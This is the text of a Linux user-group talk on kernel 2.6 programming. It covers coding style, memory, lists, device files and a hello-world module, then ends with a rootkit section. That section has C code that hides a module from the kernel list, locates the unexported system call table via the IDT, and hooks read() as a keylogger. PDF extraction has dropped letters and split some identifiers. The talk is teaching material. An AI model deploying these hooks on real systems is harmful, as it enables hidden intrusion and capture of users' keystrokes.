Kernel Hacking: Introduction To Linux Kernel 2.6 How To Write A Rootkit
Kernel Hacking: Introduction To Linux Kernel 2.6 How To Write A Rootkit
Maurice Leclaire
TumFUG Linux / Unix get-together
Understanding the Linux kernel Fixing bugs Adding special features Writing drivers for special hardware Writing rootkits
Knowledge of the C Programming Language Kernel source (e.g. kernel.org) Compiler Recommended: Vanilla Kernel Virtual machine for testing Assembler knowledge
http://lxr.linux.no (complete source code cross reference) http://people.netfilter.org/~rusty/unreliable-guides/ kernel-hacking/lk-hacking-guide.html (Rustys Kernel Hacking Guide) http://www.faqs.org/docs/kernel (LKM Programming Guide) http://kernelnewbies.org/KernelHacking
Coding Style
Documentation/CodingStyle
First o, Id suggest printing out a copy of the GNU coding standards, and NOT read it. Burn them, its a great symbolic gesture.
8 chars indentation only one statement on a single line never use spaces for indentation 80 chars is max line length
printk
include/linux/kernel.h
loglevel:
KERN_DEBUG KERN_INFO KERN_NOTICE KERN_WARNING KERN_ERR KERN_CRIT KERN_ALERT KERN_EMERG
kmalloc/kfree vmalloc/vfree
include/linux/slab.h include/linux/vmalloc.h
vmalloc can allocate more than 128 KB virtual memory / non contiguous in RAM
void * mem = vmalloc ( size ); vfree ( mem );
double linked list circular type oblivious list does not contain the items, the items contain the list multiple lists in one item possible
1 struct my_struct { 2 ... 3 struct list_head list ; 4 ... 5 struct list_head another_list ; 6 };
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
struct list_head *p , * q ; struct my_struct x , * pos ; LIST_HEAD ( head ); list_add (& x . list , & head ); list_for_each (p , & head ) { pos = list_entry (p , struct my_struct , list ); ... } /* identical to */ list_for _ e ac h _ en t ry ( pos , & head , list ) {...} list_for _e ac h_ sa fe (p , q , & head ) { list_del ( p ); }
In Linux everything is a le Communication is also done via les For that purpose there are /proc, /sys and /dev les They exist only in RAM
Creating a /dev le
include/linux/fs.h
1 2 3 4 5 6 7 8 9
static struct file_operations fops = { . read = device_read , . write = device_write , . open = device_open , . release = device_release }; int major = register_chrdev (0 , " mydev " , & fops ) ; unregister_ chrdev ( major , " mydev " ) ;
You normally shouldnt do this Use /proc, /sys or /dev les for communication with the userspace
1 struct file * file ; 2 file = filp_open ( " / dir / filename " , O_RDWR , 0) ; 3 4 if ( file && ! IS_ERR ( file ) ) { 5 mm_segment_t old_fs = get_fs () ; 6 set_fs ( KERNEL_DS ) ; 7 loff_t file_size = vfs_llseek ( file , ( loff_t ) 0 , SEEK_END ) ; 8 char * buff = vmalloc ( file_size ) ; 9 loff_t off = 0; 10 vfs_read ( file , buff , file_size , & off ) ; 11 vfs_write ( file , buff , file_size , & off ) ; 12 vfree ( buff ) ; 13 set_fs ( old_fs ) ; 14 }
Object le that can be linked to the running kernel Dynamically load and unload drivers how you need them lsmod lists the loaded modules
1 2 3 4 5 6 7 8 9 10 11 12 13
# include < linux / kernel .h > # include < linux / module .h > int init_module ( void ) { printk ( " TumFUG : Hello world !\ n " ); return 0; } void cleanup_module ( void ) { printk ( " TumFUG : Goodbye !\ n " ); }
1 obj - m += hello_world . o 2 3 all : 4 make -C / lib / modules / $ ( shell uname -r ) / build M = $ ( PWD ) modules 5 6 clean : 7 make -C / lib / modules / $ ( shell uname -r ) / build M = $ ( PWD ) clean
# make # insmod hello_world . ko TumFUG : Hello world ! # rmmod hello_world TumFUG : Goodbye ! # dmesg | grep TumFUG TumFUG : Hello world ! TumFUG : Goodbye ! # _
Module Documentation
MODULE_LICENSE("GPL"); MODULE_AUTHOR("TumFUG"); MODULE_DESCRIPTION("Hello world module"); A module should contain these macros for documentation purposes The license macro avoids a warning message when loaded
Use Counter
Rootkits
LKM-based Rootkits
Software that lives in kernel space Hides itself from the sysadmin Enables privileged access to the system for non-privileged users Is typically installed by an attacker after he broke into a system Hides all the attackers actions Keylogger
The kernel holds a list of all modules Removing the module from this list is enough to hide
list_del (& THIS_MODULE - > list );
Hiding processes is similar task structure is more complex More lists to remove from
System Calls
get control over the kernels behaviour Problem: since 2.6 the address of the sys call table is no longer exported Solution: Find it yourself
Get the idt address with sidt Get the address of the sys_call_handler from the idt entry 0x80 Interpret the machine code of the sys_call_handler that includes the address of the sys_call_table
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
struct dt { u16 limit ; u32 base ; } __attribute__ (( __packed__ )); struct idt_entry { u16 offset_low ; u16 selector ; u8 zero ; u8 attr ; u16 offset_high ; } __attribute__ (( __packed__ )); struct gdt_entry { u16 limit_low ; u16 base_low ; u8 base_mid ; u8 access ; u8 atrr ; u8 base_high ; } __attribute__ (( __packed__ ));
22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41
void ** sys_call_table ; struct dt gdt ; __asm__ ( " sgdt %0\ n " : " = m " ( gdt )); struct dt idt ; __asm__ ( " sidt %0\ n " : " = m " ( idt )); struct idt_entry * idt_entry = ( struct idt_entry *)( idt . base ); idt_entry += 0 x80 ; /* 0 x80 : linux syscall */ u32 syscall_offset = ( idt_entry - > offset_high << 16) | idt_entry - > offset_low ; struct gdt_entry * gdt_entry = ( struct gdt_entry *)( gdt . base ); gdt_entry += idt_entry - > selector ; u32 syscall_base = ( gdt_entry - > base_high << 24) | ( gdt_entry - > base_mid << 16) | gdt_entry - > base_low ;
42 43 44 45 46 47 48 49 50
u8 * system_call = ( u8 *)( syscall_base + syscall_offset ); /* search call to sys_call_table */ /* FF 14 85 off4 : jmp off4 ( ,% eax ,4) */ while ((*( u32 *)( system_call ++) & 0 xFFFFFF ) != 0 x8514FF ); sys_call_table = *( void ***)( system_call + 2);
A simple Keylogger
Hook the read system call Call the original read Log the value to the system log le
1 hook_read ( int fd , char * buf , long count ) 2 { 3 long c = original_read ( fd , buf , count ); 4 5 printk ( " % s \ n " , buf ); 6 7 return c ; 8 }